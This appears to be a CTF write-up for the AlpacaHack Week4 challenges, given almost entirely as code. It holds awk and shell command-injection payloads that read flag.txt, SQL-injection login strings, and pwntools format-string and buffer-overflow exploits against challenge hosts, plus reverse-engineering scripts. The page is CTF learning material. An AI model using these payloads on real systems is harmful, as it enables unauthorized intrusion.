Daily AlpacaHack Week4 (2025-12-22 ~ 2025-12-28)

Copy

echo test | awk '/.*/{system("cat flag.txt")}'
        

Copy

.*/{system("cat flag.txt")} #
        

Copy

.*/{system("cat flag.txt");exit} #
        

Copy

printf("input > ");
scanf("%11s", buffer);
printf("Your input: ");
printf(buffer, &key, &dummy); // !?
printf("\n");
        

Copy

from pwn import *

_, host, port = "nc 34.170.146.252 9017".split()
sh = remote(host, port)

prompt = sh.recvuntil("input >".encode())
print(prompt.decode())

sh.sendline(f"%{0xbeef}c%1$n".encode())

sh.interactive()
        

Copy

|sh
        

Copy

username: alpaca';--
password: a
        

Copy

username: reindeer';--
password: a
        

Copy

username: a' OR '1'='1
password: a' OR username LIKE 's%
        

Copy

opcode = code[self.ip]
oprand1 = code[self.ip + 1]
oprand2 = code[self.ip + 2]
        

Copy

with open("program", "rb") as f:
    program = f.read()

with open("dump.txt", "w") as f:
    lines = []
    opelist = []
    for i in range(len(program) // 3):
        lines.append(f"{hex(program[i*3])}, {hex(program[i*3+1])}, {hex(program[i*3+2])}\n")
        opelist.append(program[i*3])
    f.writelines(lines)
        

Copy

mem[1] = (ord(ch)+mem[3]) ^ data1
mem[3] = mem[1]
if mem[1] == -data2 -> success
        

Copy

with open("dump.txt", "r") as f:
    program = f.readlines()[1:-1]

flag = ""
mem3 = 0
for i in range(len(program) // 9):
    data1 = int(program[i*9+2].split()[-1].strip(), 16)
    data2 = int(program[i*9+5].split()[-1].strip(), 16)
    flag += chr((((-data2 % 256) ^ data1) - mem3) % 256)
    mem3 = (-data2 % 256)
    
print(flag)
        

Copy

from pwn import *

elf = ELF("./chall")
context.binary = elf
win_addr = elf.symbols["win"]
ret_addr = 0x401252

is_remote = True
if is_remote:
    _, host, port = "nc 34.170.146.252 59419".split()
    sh = remote(host, port)
else:
    sh = process()
    
prompt = sh.recvuntil("input:".encode())
print(prompt.decode())

# payload
payload = "a".encode() * 10 # padding
payload += "b".encode() * 8 # rbp padding
payload += p64(win_addr) # return to win

sh.sendline(payload)

sh.interactive()
        

Copy

clang -O0 -g -no-pie -fno-stack-protector chal.ll -o chall
        

Copy

declare i32 @__isoc99_scanf(i8*, ...)
declare i32 @printf(i8*, ...)
declare i32 @puts(i8*)
declare i32 @strlen(i8*)
        

Copy

br label %15, !llvm.loop !6 -> br label %15
        

Copy

import gdb
# gdb -q ./challeng -x ./dump.py

log = open("memory_dump.txt", "w")

gdb.execute("set debuginfod enabled off")
gdb.execute("set pagination off")
gdb.execute("set confirm off")

class memBP(gdb.Breakpoint):
    def __init__(self, spec, log):
        super().__init__(spec)
        self.log = log
        self.silent = True
        
    def stop(self):
        frame = gdb.selected_frame()
        rdi_addr = int(frame.read_register("rdi"))
        
        inferior = gdb.selected_inferior()
        enced_flag = inferior.read_memory(rdi_addr, 200)
        self.log.write(f"memory: {bytes(enced_flag).hex()}")
        self.log.flush()
        
memBP(spec=r"*main+40", log=log)

gdb.execute("run")

log.close()
gdb.execute("quit")
        

Copy

with open("memory_dump.txt", "r") as f:
    mem = f.read().split()[-1]
    
enced_list = []
for i in range(len(mem) // 8):
    enced_list.append(int(mem[i*8:(i+1)*8], 16) >> 24)

flag = ""
for i in range(len(enced_list)-1):
    flag += chr(enced_list[i+1] ^ enced_list[i])
    
print(flag)